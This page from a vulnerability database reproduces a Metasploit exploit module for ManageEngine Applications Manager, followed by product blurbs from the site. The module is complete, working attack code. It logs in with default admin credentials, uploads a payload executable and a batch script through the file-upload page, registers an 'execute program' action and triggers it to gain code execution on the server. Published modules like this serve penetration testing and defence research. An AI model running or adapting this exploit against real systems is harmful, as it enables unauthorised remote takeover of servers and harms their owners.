Lucene search
+L

ManageEngine Applications Manager Authenticated Code Execution

🗓️ 09 Apr 2011 00:00:00Reported by Jacob GiannantonioType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

ManageEngine Applications Manager Authenticated Code Executio

Code
`##  
# $Id: manageengine_apps_mngr.rb 12281 2011-04-08 14:06:10Z bannedit $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize  
super(  
'Name' => 'ManageEngine Applications Manager Authenticated Code Execution',  
'Version' => '$Revision: 12281 $',  
'Description' => %q{  
This module logs into the Manage Engine Appplications Manager to upload a   
payload to the file system and a batch script that executes the payload. },  
'Author' => 'Jacob Giannantonio <JGiannan[at]gmail.com>',  
'Platform' => 'win',  
'Targets' =>  
[  
['Automatic',{}],  
],  
'DefaultTarget' => 0  
)  
  
register_options(  
[ Opt::RPORT(9090),  
OptString.new('URI', [false, "URI for Applications Manager", '/']),  
OptString.new('USER', [false, "username", 'admin']),  
OptString.new('PASS', [false, "password", 'admin']),  
], self.class)  
end  
def target_url  
"http://#{rhost}:#{rport}#{datastore['URI']}"  
end  
def exploit  
# Make initial request to get assigned a session token  
cookie = "pagerefresh=1; NfaupdateMsg=true; sortBy=sByName; testcookie=; "  
cookie << "am_username=;am_check="  
begin  
print_status "#{target_url} Applications Manager - Requesting Session Token"  
res = send_request_cgi({  
'method'=> 'GET',  
'uri' => "#{target_url}/webclient/common/jsp/home.jsp",  
'cookie' => cookie.to_s  
}, 20)  
  
if !res  
print_error("Request to #{target_host} failed")  
return  
end  
  
if (res and res.code == 200 and res.to_s =~ /(JSESSIONID=[A-Z0-9]{32});/)  
cookie << "; #{$1}"  
print_good("Assigned #{$1}")  
else  
print_error("Initial request failed: http error #{res.code}")  
return  
end  
  
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout  
return  
rescue ::Timeout::Error, ::Errno::EPIPE  
return  
end  
  
# send cookie to index.do  
begin  
print_status "Sending session token to #{target_url}/index.do"  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{target_url}/index.do",  
'cookie' => cookie  
}, 20)  
  
if !res || res.code != 200  
print_error("Request to #{target_url} failed")  
end  
  
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout  
print_error("Request to #{target_url}/index.do failed")  
return  
rescue ::Timeout::Error, ::Errno::EPIPE  
return  
end  
  
# Log in with the assigned session token  
post_data = "clienttype2=html&j_username="  
post_data << "#{Rex::Text.uri_encode(datastore['USER'].to_s)}&"  
post_data << "j_password="  
post_data << "#{Rex::Text.uri_encode(datastore['PASS'].to_s)}&button=Login"  
print_status("Trying to log in with '#{datastore['USER']}':'#{datastore['PASS']}'")  
  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{target_url}/j_security_check",  
'cookie' => cookie,  
'data' => post_data.to_s  
}, 20)  
  
if !res  
print_error("Request to #{target_url} Failed")  
end  
# Server responds with a 302 redirect when the login is successful and  
# HTTP 200 for a failed login  
if res and res.code == 302  
print_good("Success:'#{datastore['USER']}':'#{datastore['PASS']}'")  
else  
print_error("Failed to log into #{target_url}")  
return  
end  
  
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout  
print_error("Request to #{target_url}/j_security_check failed")  
return  
rescue ::Timeout::Error, ::Errno::EPIPE  
return  
end  
# initial request to upload.do  
# I think this is required to upload content later on.  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{target_url}/Upload.do",  
'cookie'=> cookie,  
'data' => post_data  
}, 20)  
  
if !res  
print_error("HTTP request to #{target_url} Failed")  
end  
  
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout  
print_error("Request to #{target_url}/Upload.do Failed")  
return  
rescue ::Timeout::Error, ::Errno::EPIPE  
return  
end  
  
# Transfer the payload executable via POST request to Upload.do  
boundary = rand_text_numeric(11)  
payload_file = "#{rand_text_alphanumeric(20)}.exe"  
lines = "-----------------------------#{boundary}"  
content_disposition = "Content-Disposition: form-data; name=\"theFile\";"  
content_disposition << "filename=\"#{payload_file}\"\r\n"  
post_data = lines + "\r\n" + content_disposition.to_s  
post_data << "Content-Type: application/x-msdos-program\r\n\r\n"  
post_data << "#{generate_payload_exe}\r\n\r\n"  
post_data << lines + "\r\nContent-Disposition: form-data; "  
post_data << "name=\"uploadDir\"\r\n\r\n"  
post_data << ".\/\r\n#{lines}--\r\n"  
  
begin  
referer = "http://#{target_url}/Upload.do"  
res = send_request_raw({  
'method' => 'POST',  
'uri' => "#{target_url}/Upload.do",  
'headers' => { 'Referer' => referer,  
'cookie' => "#{cookie}\r\nContent-Type: " +  
"multipart/form-data; " +  
"boundary=---------------------------#{boundary}",  
'Content-Length' => post_data.length},  
'data' => post_data  
}, 20)  
  
if !res  
print_error("Request to #{target_url} failed")  
end  
  
if res and res.code == 200  
print_good("Uploaded payload #{payload_file}")  
else  
print_error("Response HTTP #{res.code} and HTTP 302 expected")  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_error("Request to #{target_url}/Upload.do failed")  
return  
rescue ::Timeout::Error, ::Errno::EPIPE  
return  
end  
# Transfer the batch sript via POST request to Upload.do  
# The server will eventually call the batch script, which will call the payload.exe  
boundary = rand_text_numeric(11)  
bat_file = "#{rand_text_alphanumeric(20)}.bat"  
lines = "-----------------------------#{boundary}"  
content_disposition = "Content-Disposition: form-data; name=\"theFile\"; "  
content_disposition << "filename=\"#{bat_file}\"\r\n"  
post_data = lines + "\r\n" + content_disposition.to_s  
post_data << "Content-Type: application/x-msdos-program\r\n\r\n"  
post_data << "@ECHO off && \"C:\\\\program files\\ManageEngine\\AppManager9\\workin"  
post_data << "g\\#{payload_file}\"\r\n\r\n"  
post_data << lines + "\r\nContent-Disposition: form-data; name=\"uploadDir\""  
post_data << "\r\n\r\n"  
post_data << ".\/\r\n#{lines}--\r\n"  
  
begin  
referer = "#{target_url}/Upload.do"  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{target_url}/Upload.do",  
'headers' => { 'Referer' => referer,  
'cookie' => "#{cookie}\r\nContent-Type: multipart/form-data; " +  
"boundary=---------------------------#{boundary}",  
'Content-Length' => post_data.length},  
'data' => post_data  
}, 20)  
  
if !res  
print_error("HTTP request to #{target_url} failed")  
return  
end  
  
if res and res.code == 200  
print_good("Uploaded #{bat_file} to execute #{payload_file}")  
end  
  
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout  
print_error("Request to #{target_url}/Upload.do failed")  
return  
rescue ::Timeout::Error, ::Errno::EPIPE  
return  
end  
  
action_name = "#{rand_text_alphanumeric(20)}"  
post_data = "actions=%2FshowTile.do%3FTileName%3D.ExecProg%26haid%3Dnull&ha"  
post_data << "id=null&method=createExecProgAction&redirectTo=null&id=0&disp"  
post_data << "layname=#{action_name}&serversite=local&choosehost=-2&host=&m"  
post_data << "onitoringmode=TELNET&username=&password=&description=&port=23"  
post_data << "&prompt=%24&command=#{bat_file}&execProgExecDir="  
post_data << "C%3A%5CProgram+Files%5CManageEngine%5CAppManager9%5Cworking&a"  
post_data << "bortafter=10&cancel=false"  
  
# This client request is necessary because it sends a request to the server  
# specifying that we are interested in executing the batch script. If  
# successful, the server response body will contain an actionID that is  
# used to tell the server to execute the script.  
begin  
referer = "#{target_url}/showTile.do?TileName=.ExecProg&haid=null"  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{target_url}/adminAction.do",  
'headers' => { 'Referer' => referer,  
'cookie' => cookie,  
'Content-Type' => "application/x-www-form-urlencoded",  
'Content-Length' => post_data.to_s.length},  
'data' => post_data.to_s  
}, 20)  
  
if !res  
print_error("Request to #{target_host} failed")  
end  
  
# We are parsing the response in order to determine the correct actionID.  
# My solution for doing this is to iterate through the HTTP response one  
# line at a time. The correct actionID always comes up several lines   
# after reading the name of the batch file 3 times. Even if other batch   
# files are mixed up in the list of actions to execute, ours is always   
# the next one after reading the batch file name 3 times  
  
if res and (res.code == 302 || res.code == 200)  
action_id = 0  
x = 0  
res.body.each_line do |k|  
k.strip!  
if((k =~ /&actionID=(\d{8})/) && (x == 3))  
action_id = $1  
break;  
elsif((k =~ /#{bat_file}/) && (x < 3))  
x+=1  
end  
end  
else  
print_error("HTTP error #{res.code} and HTTP 302 expected")  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_error("HTTP request to #{target_url}/adminAction.do ")  
return  
rescue ::Timeout::Error, ::Errno::EPIPE  
return  
end  
  
begin  
referer = "#{target_url}/common/executeScript.do?"  
referer << "method=testAction&actionID=#{action_id}&haid=null"  
print_good("Requesting to execute batch file with actionID #{action_id}")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{target_url}/common/executeScript.do?method=testAction&" +   
"actionID=#{action_id}&haid=null",  
'headers' => { 'Referer' => referer,  
'cookie' => "executeProgramActionTable_sortcol=1; " +   
"executeProgramActionTable_sortdir=down; " +   
"#{cookie}; executeProgramActionTable_" +   
"sortdir=down; executeProgramActionTable_sortcol=1",  
'Content-Type' => "application/x-www-form-urlencoded"}  
}, 20)  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_error("Request to execute the actionID failed")  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
end`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation